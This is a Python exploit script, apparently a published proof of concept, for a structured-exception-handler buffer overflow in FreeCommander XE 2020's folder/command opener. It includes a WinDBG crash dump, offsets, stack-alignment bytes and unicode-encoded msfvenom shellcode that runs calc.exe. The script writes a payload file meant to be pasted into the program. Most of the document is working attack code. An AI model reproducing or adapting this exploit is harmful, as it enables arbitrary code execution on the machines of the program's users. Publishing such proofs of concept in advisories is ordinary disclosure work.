#!/usr/bin/python# Exploit Title: FreeCommander XE 2020 - Pathname Buffer Overflow (SEH)# Version: Build 810a 32-bit# Software Link: https://freecommander.com/downloads/FreeCommanderXE-32-public_setup.zip# Date: 2020-03-28# Exploit Author: Hodorsec (hodor@hodorsec.com / hodorsec@protonmail.com)# Vendor Homepage: https://www.freecommander.com# Tested on: Win8.1 x64 - Build 9600# Description: # - Exploits the command / folder opener in the main window by entering an overly string and pressing enter: a crash will occur and the Structured Exception Handler kicks in (SEH overflown).# - Some stack alignment was required, which eventually led to the ability of running shellcode.# Reproduction:# - Use indicated OS or manipulate settings for stack alignment: your mileage may vary due to different offsets on other Windows versions / SP's.# - Run the script, a TXT file will be generated# - On the Windows machine, open the TXT file in Wordpad. Copy and paste the output in the command / folder opener of FreeCommander# - Check results# WinDBG initial crash output:# (db4.648): Access violation - code c0000005 (!!! second chance !!!)# *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:WindowsSYSTEM32ntdll.dll - # *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:Program Files (x86)FreeCommander XEFreeCommander.exe - # eax=00000000 ebx=00000000 ecx=00410041 edx=77e8ffaf esi=00000000 edi=00000000# eip=00410041 esp=00091620 ebp=00091640 iopl=0 nv up ei pl zr na pe nc# cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246# FreeCommander+0x10041:# 00410041 0064005c add byte ptr [eax+eax+5Ch],ah ds:002b:0000005c=??import sys, struct# Filenamefilename = "win8_freecommander_poc.txt"# Maximum lengthmaxlen = 2000# Shellcode# msfvenom -p windows/exec cmd=calc.exe -e x86/unicode_mixed -b "x00x0ax0d" bufferregister=eax# Payload size: 512 bytesshellcode = ("PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11AIAIABABABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JBYlzHTBypkPm0aP2ixep190bDTKnpP0bk0RJl4Kobn44KbRKxjoFW0Jo6p1KODlml1Q3LlBNLKpy1XOLMm1UwgrzR1Br7tKobzp2k0JmlDKNlJq2XySPHzaHQR1bkaImPIqWc2k0In8jCmjMyRknT2kzaZ6maIo4leq6ozmm1i7NX7pPul6JccMzXmk3MKtSEhdnxTKb8ldza6srFBklLPKbkqHMLKQhSbkM4dKIqVp1ymtmTldokokQQaIoj21yoK01OOoPZDKzrxkDM1MaZZa4M55UbM0ipkPr0S8nQRkROu7KOWeukHpTuFB1F2HvFBuWMuMio6umlM6CLZjQpIk7pRUlEWKa7mCsBrO1ZypR3ioxU0cS12LosnNpet80eM0AA")# Offsetsseh = 522nseh = seh - 2# Venetian NOPnop = "x45"# Aligning EBP with buffer# ESP being closest to buffer# ESP = 0018ecc4, Buffer = 0018fb5f: Buffer - ESP = 0x0e9balign_esp = ( "x54" # PUSH ESP + nop + # Padding "x58" # POP EAX + nop + # Padding "x05x11x11" # "x05x00x10x00x11" # 0500100011 add eax,0x11001000 -- + nop + # Padding |--> Adds 0x0f00 bytes "x2dx02x11" # "x2dx00x01x00x11" # 2d00010011 sub eax,0x11000100 --/ + nop + # Padding "x40" # INC EAX # Added due to one-off unicode byte + nop + # Padding "x50" # PUSH EAX + nop + # Padding "xc3" # RET)# Prefixprefix = "A" * seh # Fill junk# NSEH/SEHnseh = "x41x45" # NOP --> INC ECX # ADD [EBP], ALseh = "x71x4c" # POP POP RET# Suffixsuffix = nop * 3 # Alignsuffix += align_esp # Align registers; EAX for executing shellcodesuffix += nop * 48 # Nopping until buffersuffix += shellcode # Do some magicsuffix += "D" * (maxlen - len(prefix + nseh + seh + suffix)) # Fill junk# Concatenate string for payloadpayload = prefix + nseh + seh + suffix # Put it all togethertry: file = open(filename,"wb") file.write(payload) file.close() print "[+] File " + filename + " with size of " + str(len(payload)) + " created successfully"except: print "[!] Error creating file!" sys.exit(0)Source: 1610300202-BLW/eussi/moc.ytirucesxc